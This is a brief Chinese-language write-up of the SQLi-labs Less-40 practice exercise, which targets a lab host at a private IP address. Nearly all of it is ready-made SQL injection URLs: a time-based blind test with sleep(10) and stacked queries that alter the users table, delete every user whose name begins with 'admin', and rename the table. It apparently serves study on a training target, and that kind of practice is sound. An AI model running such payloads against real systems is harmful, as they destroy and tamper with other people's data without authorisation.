sqli

这一课只是是盲注的堆叠注入，并且闭合方式为')。

http://192.168.75.132/sql/Less-40/?id=1') and if(1,sleep(10),null)%23

在password字段后添加status字段

http://192.168.75.132/sql/Less-40/?id=1');ALTER TABLE `security`.`users`
ADD COLUMN `status` tinyint(1) NOT NULL AFTER `password`;%23

删除以admin开头的用户。

http://192.168.75.132/sql/Less-40/?id=1');DELETE from users where username like 'admin%';%23

http://192.168.75.132/sql/Less-40/?id=1');alter TABLE users rename to newusrs;%23